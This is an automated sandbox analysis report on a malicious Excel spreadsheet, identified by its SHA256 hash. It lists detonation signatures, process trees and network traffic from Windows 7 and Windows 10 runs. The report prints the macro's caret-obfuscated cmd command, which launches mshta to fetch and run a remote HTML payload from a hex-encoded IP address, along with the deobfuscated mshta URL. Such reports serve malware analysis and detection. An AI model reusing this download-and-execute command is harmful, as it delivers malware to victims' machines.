Analysis Overview
SHA256
b87fb667aa731cdb921994abeac31f7f69df167d3380d28c95b745cd2cddafb7
Threat Level: Known bad
The file b87fb667aa731cdb921994abeac31f7f69df167d3380d28c95b745cd2cddafb7 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Suspicious Office macro
Blocklisted process makes network request
System Location Discovery: System Language Discovery
System Network Configuration Discovery: Internet Connection Discovery
Suspicious use of WriteProcessMemory
Checks processor information in registry
Enumerates system info in registry
Modifies Internet Explorer settings
Suspicious behavior: AddClipboardFormatListener
Suspicious use of SetWindowsHookEx
Runs ping.exe
Delays execution with timeout.exe
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-11 20:47
Signatures
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-11 20:47
Reported
2024-11-11 20:50
Platform
win7-20240729-en
Max time kernel
60s
Max time network
37s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\PING.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\timeout.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
System Network Configuration Discovery: Internet Connection Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\PING.EXE | N/A |
Delays execution with timeout.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\timeout.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Runs ping.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\PING.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\b87fb667aa731cdb921994abeac31f7f69df167d3380d28c95b745cd2cddafb7.xls
C:\Windows\SysWOW64\cmd.exe
cmd /c ping google.com && timeout 4 && start ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/f^e5.h^tm^l
C:\Windows\SysWOW64\PING.EXE
ping google.com
C:\Windows\SysWOW64\timeout.exe
timeout 4
C:\Windows\SysWOW64\mshta.exe
mshta http://0xb907d607/fer/fe5.html
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | google.com | udp |
| RU | 185.7.214.7:80 | tcp | |
| RU | 185.7.214.7:80 | tcp |
Files
memory/2540-1-0x0000000071E9D000-0x0000000071EA8000-memory.dmp
memory/2540-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2540-2-0x0000000071E9D000-0x0000000071EA8000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-11 20:47
Reported
2024-11-11 20:50
Platform
win10v2004-20241007-en
Max time kernel
133s
Max time network
140s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\mshta.exe | N/A |
System Network Configuration Discovery: Internet Connection Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SYSTEM32\cmd.exe | N/A |
| N/A | N/A | C:\Windows\system32\PING.EXE | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Delays execution with timeout.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\timeout.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Runs ping.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\PING.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4104 wrote to memory of 5048 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 4104 wrote to memory of 5048 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 5048 wrote to memory of 2940 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\system32\PING.EXE |
| PID 5048 wrote to memory of 2940 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\system32\PING.EXE |
| PID 5048 wrote to memory of 3316 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\system32\timeout.exe |
| PID 5048 wrote to memory of 3316 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\system32\timeout.exe |
| PID 5048 wrote to memory of 4508 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\system32\mshta.exe |
| PID 5048 wrote to memory of 4508 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\system32\mshta.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b87fb667aa731cdb921994abeac31f7f69df167d3380d28c95b745cd2cddafb7.xls"
C:\Windows\SYSTEM32\cmd.exe
cmd /c ping google.com && timeout 4 && start ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/f^e5.h^tm^l
C:\Windows\system32\PING.EXE
ping google.com
C:\Windows\system32\timeout.exe
timeout 4
C:\Windows\system32\mshta.exe
mshta http://0xb907d607/fer/fe5.html
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| FR | 52.109.68.129:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 46.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 129.68.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | google.com | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 71.159.190.20.in-addr.arpa | udp |
| RU | 185.7.214.7:80 | tcp | |
| US | 8.8.8.8:53 | 23.173.189.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 149.220.183.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 197.87.175.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.190.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 100.209.201.84.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 19.229.111.52.in-addr.arpa | udp |
Files
memory/4104-0-0x00007FFE1F66D000-0x00007FFE1F66E000-memory.dmp
memory/4104-1-0x00007FFDDF650000-0x00007FFDDF660000-memory.dmp
memory/4104-2-0x00007FFDDF650000-0x00007FFDDF660000-memory.dmp
memory/4104-3-0x00007FFDDF650000-0x00007FFDDF660000-memory.dmp
memory/4104-6-0x00007FFE1F5D0000-0x00007FFE1F7C5000-memory.dmp
memory/4104-5-0x00007FFE1F5D0000-0x00007FFE1F7C5000-memory.dmp
memory/4104-4-0x00007FFDDF650000-0x00007FFDDF660000-memory.dmp
memory/4104-8-0x00007FFE1F5D0000-0x00007FFE1F7C5000-memory.dmp
memory/4104-7-0x00007FFDDF650000-0x00007FFDDF660000-memory.dmp
memory/4104-12-0x00007FFE1F5D0000-0x00007FFE1F7C5000-memory.dmp
memory/4104-11-0x00007FFE1F5D0000-0x00007FFE1F7C5000-memory.dmp
memory/4104-13-0x00007FFE1F5D0000-0x00007FFE1F7C5000-memory.dmp
memory/4104-15-0x00007FFE1F5D0000-0x00007FFE1F7C5000-memory.dmp
memory/4104-14-0x00007FFDDD530000-0x00007FFDDD540000-memory.dmp
memory/4104-16-0x00007FFDDD530000-0x00007FFDDD540000-memory.dmp
memory/4104-10-0x00007FFE1F5D0000-0x00007FFE1F7C5000-memory.dmp
memory/4104-9-0x00007FFE1F5D0000-0x00007FFE1F7C5000-memory.dmp
memory/4104-26-0x00007FFE1F66D000-0x00007FFE1F66E000-memory.dmp
memory/4104-27-0x00007FFE1F5D0000-0x00007FFE1F7C5000-memory.dmp
memory/4104-29-0x00007FFE1F5D0000-0x00007FFE1F7C5000-memory.dmp
memory/4104-30-0x00007FFE1F5D0000-0x00007FFE1F7C5000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | 888357bfc46379ab9c97482433e29f55 |
| SHA1 | cc6135d548eaa39dca58f83820ccb9aa389cb94b |
| SHA256 | 0102b7a5d59ded5d1f780539f43fcc120f0dfb47cab0025ec00629320b69b3cd |
| SHA512 | 9e85939a3279c77508055c02c985ead01fd0d2b7e00593c6b495845f929744f630516e552126a0685d5911de1b34100f5f9acc0c944383f02705297d7c06e767 |